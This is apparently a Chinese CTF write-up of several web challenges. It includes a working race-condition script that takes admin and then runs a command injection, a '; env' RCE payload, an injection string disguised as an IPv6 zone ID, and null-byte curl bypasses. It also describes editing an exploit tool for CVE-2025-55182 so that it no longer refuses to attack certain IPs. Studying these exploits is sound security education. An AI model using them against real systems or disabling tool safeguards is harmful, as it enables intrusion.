n1j wp
感觉题比我想象的简单,但是也暴露了很多问题,只写出来四道题,有一道简单的题因为基础不好卡了太久,不然还能挑战一下压轴
bun
体验了一次一血
这个题目是一号位,一开始写的就是他,题眼也比较明显,就第一个出了
这个题目里面,登陆逻辑被拆成了两份,用户名和密码通过前端生成的随机session为纽带分开提交,通过源码得知我们有两个用户admin和guest
题目在得到前端发来的guest密码之后会await挂起,过一段时间返回guest用户密码匹配的认证结果,如果在这个时间间隙在申请同一个session的用户名匹配请求(同步的)覆盖变量里面记录的guest为admin,guest认证通过的结果就会记录到admin上,
await结束得到admin权限
得到admin之后需要绕开限制执行rce,bun的设计输入shell的内容会被转义,但是留了个开发用的后门可以按原字符拼接进去

这个竞争状态卡的时间非常死,脚本是ai提供的,用了http长连接+多线程来提高成功率
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
|
import requests
import threading
import time
import urllib3
TARGET = "http://60.205.163.215:45502/"
SESSION_ID = "script_race_v8"
s_verify = requests.Session()
s_init = requests.Session()
def attack_attempt(attempt_id):
try:
s_init.post(f"{TARGET}/api/auth/init", json={
"sessionId": SESSION_ID,
"username": "guest"
}, timeout=3)
except:
return False, None
def do_verify():
try:
s_verify.post(f"{TARGET}/api/auth/verify", json={
"sessionId": SESSION_ID,
"password": "guest"
}, timeout=3)
except:
pass
def do_switch_admin():
try:
s_init.post(f"{TARGET}/api/auth/init", json={
"sessionId": SESSION_ID,
"username": "admin"
}, timeout=3)
except:
pass
t_v = threading.Thread(target=do_verify)
t_i = threading.Thread(target=do_switch_admin)
t_v.start()
# time.sleep(0.005)
t_i.start()
t_v.join()
t_i.join()
try:
res = requests.get(f"{TARGET}/api/user/me?sessionId={SESSION_ID}", timeout=2)
if "admin" in res.text:
return True, res.text
except:
pass
return False, None
print(f"[*] Targeting: {TARGET}")
print("[*] 开始多线程长连接攻击...")
success = False
for i in range(1, 1001):
is_success, data = attack_attempt(i)
if is_success:
print(f"\n\n[SUCCESS] 第 {i} 次尝试成功!")
print(f"User Info: {data}")
success = True
break
else:
print(f"\r[-] Attempt {i} failed...", end="")
if success:
print("\n[*] 执行 RCE...")
try:
res = requests.post(
f"{TARGET}/api/admin/diagnose?sessionId={SESSION_ID}",
json={"tool": "uptime", "target": {"raw": "; env"}},
timeout=5
)
print(res.text)
except Exception as e:
print(e)
|
执行结果:
1
2
3
4
5
6
7
8
9
|
[*] Targeting: http://60.205.163.215:45502/
[*] 开始多线程长连接攻击...
[-] Attempt 11 failed...
[SUCCESS] 第 12 次尝试成功!
User Info: {"username":"admin","role":"admin","secret":"System Access Granted"}
[*] 执行 RCE...
{"output":" 11:37:25 up 19 min, 0 users, load average: 0.00, 0.00, 0.00\nKUBERNETES_SERVICE_PORT=6443\nKUBERNETES_PORT=tcp://192.168.0.1:443\nHOSTNAME=t105717349121812087-comp-bundle-1124084497651077609vv9z\nBUN_INSTALL_BIN=/usr/local/bin\nECI_CONTAINER_TYPE=normal\nSHLVL=1\nPORT=3000\nHOME=/root\naliyun_log_crd_user_defined_id=k8s-group-c2e91cace63644627963a8b671e2fed0c\nKUBERNETES_PORT_443_TCP_ADDR=192.168.0.1\nPATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/usr/local/bun-node-fallback-bin\nKUBERNETES_PORT_443_TCP_PORT=443\nKUBERNETES_PORT_443_TCP_PROTO=tcp\nKUBERNETES_SERVICE_PORT_HTTPS=6443\nKUBERNETES_PORT_443_TCP=tcp://192.168.0.1:443\nKUBERNETES_SERVICE_HOST=apiserver.c2e91cace63644627963a8b671e2fed0c.cn-beijing.cs.aliyuncs.com\nPWD=/app\nNODE_ENV=production\nFLAG=flag{18b076f1-fd7f-4124-92e3-2dbf686d3cd2}\nBUN_RUNTIME_TRANSPILER_CACHE_PATH=0\n"}
|
addr
签到题
怎么说呢,我开始没好好看代码,用假密钥伪造session之后就一直折腾绕过方法,然后发现源码给的密钥和线上的不一样,就惯性思维想着爆破或者其他什么手段搞到密钥,结果折腾半天还是绕过这个要绕过这个admin的判定
伪造身份
用户名输入 Admın unicode 绕过
1
2
3
4
5
|
>>> c = 'Admın'
>>> c.upper()
'ADMIN'
>>> c.lower()
'admın'
|
这里登陆上去后端已经过了可以执行命令,但是前段的检测过不了,一开始还以为失败了
cmdi
去搜一下这个ipaddress发现如下设定
Optionally, the string may also have a scope zone ID, expressed with a suffix %scope_id. If present, the scope ID must be non-empty, and may not contain %. See RFC 4007 for details. For example, fe80::1234%1 might identify address fe80::1234 on the first link of the node.
使用如下代码可以把拼接的命令伪装成Ipv6的zone ID,这部分的检查松一些
::1%;cd ..;cat flag
next_waf
只是next+waf
有大佬用go写了个利用cvE-2025-55182的exp工具,里面有绕过waf的功能,我之前还想着正常有漏洞就直接更新了,怎么会有人在漏洞上加waf让你绕呢
工具里面有防止攻击中国ip的检测,把pkg/utils/security.go的CheckSecurity函数的return false改成true,再把弹窗删掉就行了

pacman
绕了好大一圈
这个题的文件我给删了,只能靠记忆复盘了
这个题目中间有一个非常奇怪的写法,把一个可以直接赋值的变量中间塞了一步邮箱解析,这个解析的判定也很宽泛就造成的混淆的空间
一开始主要盯上了下面这段代码
1
2
|
const len = parsed.length;
const senderEntry = parsed[len - 1];
|
这个部分的功能应该是把解析出来的用户设置为sendEntry,但是实际的效果是把所有解析出来的用户的最后一个设置为用户,感觉就是要在一个判定里面设置两个用户来绕过检测,我构造了下面这个payload
1
2
3
4
5
6
7
8
9
10
11
12
|
const addressparser = require("./addressparser");
const user = ") test@test ; Adm()inistrator a()dmin@adm()in.com (";
const email = `${user}@test.com`;
const rawFrom = `${user} <${email}>`;
const parsed = addressparser(rawFrom);
console.log(parsed);
const len = parsed.length;
const senderEntry = parsed[len - 1];
console.log(senderEntry);
|
解析出来得到
1
2
3
4
5
6
|
[
{ address: 'test@test', name: ')' },
{ address: 'test@test', name: 'Administrator admin@admin.com' },
{ address: 'admin@admin.com', name: 'Administrator' }
]
{ address: 'admin@admin.com', name: 'Administrator' }
|
但是后面的没法办了,最后还是用%00直接绕过的,根本没用len - 1 的逻辑,事后联系出题人才知道这个东西是为了防止非预期的,不是重点(
1
2
3
4
5
6
7
8
9
10
|
curl -X POST http://60.205.163.215:38301/register \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "username=Ad%00ministrator%09adm%00in@adm%00in.com(&password=123" \
-c cookies.txt
curl -X POST http://60.205.163.215:38301/send \
-H "Content-Type: application/x-www-form-urlencoded" \
-d "recipientUsername=test&subject=desuwa&content=desuwa" \
-b cookies.txt
|
闲话
这次比赛题目本身不难,但是有两道简单题目的绕过因为见识太少没有想到用,耽误了很多时间,感觉自己还是需要多做题,涨涨见识啊
之前期末一直比较忙,打的一些比赛也没有记录,我看有些师傅一天几更,希望也能坚持记录吧